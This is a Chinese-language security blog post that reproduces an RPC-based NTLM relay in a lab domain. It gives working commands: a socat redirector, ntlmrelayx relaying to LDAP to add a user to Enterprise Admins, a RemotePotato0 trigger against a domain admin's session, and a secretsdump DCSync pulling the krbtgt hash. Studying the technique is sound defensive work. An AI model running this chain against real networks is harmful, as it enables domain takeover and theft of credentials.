复现RPC中继NTLM身份验证

复现RPC中继NTLM身份验证

原创 relaysec Relay学安全 2023-12-10 23:45

滥用 DCOM 激活服务的方法,即解组IStorage对象并将 NTLM 反射回本地 RPC TCP 端点以实现本地权限提升。虽然此漏洞已被修补,但 DCOM 激活服务曾经(现在仍然是)用于 RPC 身份验证的有效触发器。

复现环境:

DC: 10.10.10.139

受害者机器:10.10.10.140

攻击机:10.10.10.178

首先查看用户的会话 可以看到这里有域管的一个会话 可以看他的会话ID为1

然后我们到攻击机进行重定向转发

需要您在vps上重定向转发 sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:(目标机器):9997 &

sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:10.10.10.124:9997 &

进行Ntlm中继监听

python3 ntlmrelayx.py -t ldap://10.10.10.139 –no-wcf-server –escalate-user win2016  这里中继到ldap –escalate-user 这个参数是你要提升权限的用户

接着我们去受害机器触发

.\RemotePotato0.exe -m 0 -r 10.10.10.178 -p 9998 -s 1

这里-s 1 是会话ID为1的域管

接着来到攻击机

可以看到这里已经权限提升成功了 此时win2016这个域用户 就拥有了企业管理员的权限 我们回到受害机可以看到 已经在Enterprise Admins组里面了

dc上也可以看到 这里已经添加成功了

此时我们就可以dcsync了

 python3 secretsdump.py Rt/win2016:[email protected] -dc-ip 10.10.10.139 -just-dc-user krbtgt